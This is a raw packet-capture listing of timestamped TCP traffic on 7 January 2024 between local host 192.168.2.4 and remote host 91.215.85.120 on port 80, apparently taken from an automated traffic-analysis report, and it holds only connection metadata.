Jan 7, 2024 05:29:30.810280085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.810323954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.810405016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.810451031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.810477972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.810652018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.810702085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.810760975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.810941935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811053991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811119080 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.811184883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811233997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.811256886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811335087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811367035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811404943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.811798096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811853886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.811989069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812019110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.812052011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.812071085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812205076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812306881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812352896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.812397003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812469959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.812479019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812767982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812891960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.812913895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.813334942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.813399076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.813402891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.813484907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.813564062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.813618898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.814415932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814433098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814449072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814464092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814466953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.814480066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.814481974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814500093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814531088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.814706087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814755917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814799070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.814821959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.814908028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.814943075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.815869093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.815927029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.815970898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.816049099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816129923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816174030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.816253901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816294909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.816358089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816512108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816529036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816584110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816606045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.816623926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816656113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.816678047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816783905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.816800117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.816879988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.817015886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.817065001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.882994890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.883059978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.883209944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.883652925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.883727074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.883775949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.884078026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.884128094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.884130001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.993807077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.993971109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.993974924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.996615887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.996697903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.996707916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.997174025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.997292042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.997301102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.997373104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.997417927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.997426987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.997528076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.997612953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.997661114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.998153925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.998229980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.998275042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.998291969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.998333931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.998363972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.999058962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999114990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.999145031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999161959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999213934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.999244928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999279976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999322891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.999331951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999432087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999499083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999547958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999555111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.999600887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999644041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.999686956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999739885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.999783039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.000049114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000092030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.000119925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000350952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000441074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000507116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.000581980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000622034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.000649929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000823975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000864029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.000914097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.000942945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.001017094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.001080990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.001272917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.001317024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.001358986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.001842022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.001929998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.001956940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.002055883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002115011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002156019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.002204895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002244949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.002289057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002563000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002608061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.002698898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002744913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002811909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002852917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.002872944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002921104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.002960920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.003211975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.003257036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.003262997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004021883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004103899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004163027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.004168987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004237890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.004240990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004507065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004553080 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.004582882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004647017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004734993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004780054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.004883051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004966974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.004987001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.005700111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.005742073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.005764008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.005851030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.005893946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.005912066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.006016016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.006067991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.006115913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.007106066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.007164955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.007232904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.008188009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.008229017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.008304119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.008368969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.008419037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.008420944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.008472919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.008516073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.008565903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010380983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010421038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.010443926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010507107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010561943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010611057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.010617018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010682106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010730028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.010827065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.010884047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.010915041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011013985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011055946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.011070013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011089087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011109114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011132002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.011142015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011193037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.011269093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011320114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011373043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.011404037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011461973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011509895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.011579990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011645079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011694908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.011713028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011754990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011842966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011888981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.011939049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.011977911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.012021065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.012181044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.012239933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.012288094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.012315989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.012388945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.012430906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.012460947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.012542009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.012550116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.078182936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.078233004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.078294039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.078927040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.078946114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.078996897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.079082012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.079121113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.079158068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.188997030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.189052105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.189125061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.191416025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.191499949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.191540003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.191649914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.191689014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.191719055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.191863060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.191905022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.191932917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.192001104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.192054033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.192087889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.192317009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.192361116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.192392111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.192744017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.192786932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.192801952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.193849087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.193885088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.193918943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194006920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194170952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.194180012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194483995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194533110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.194561005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194705963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194755077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.194772005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194853067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.194895029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.194924116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195118904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195167065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.195204973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195339918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195391893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195434093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.195503950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195540905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.195597887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195792913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195831060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.195898056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.195986032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196029902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.196185112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196305037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196352005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.196409941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196515083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196556091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.196598053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196773052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196873903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.196907997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.197119951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197170973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197189093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.197232962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197248936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197300911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.197304964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197350979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.197423935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197527885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197571039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.197588921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197729111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197767973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.197829008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.198117018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.198157072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.198208094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.198318958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.198374033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.198903084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.199023962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.199064970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.199093103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.199163914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.199243069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.199260950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.199439049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.199594975 CET	80	49735	91.215.85.120	192.168.2.4
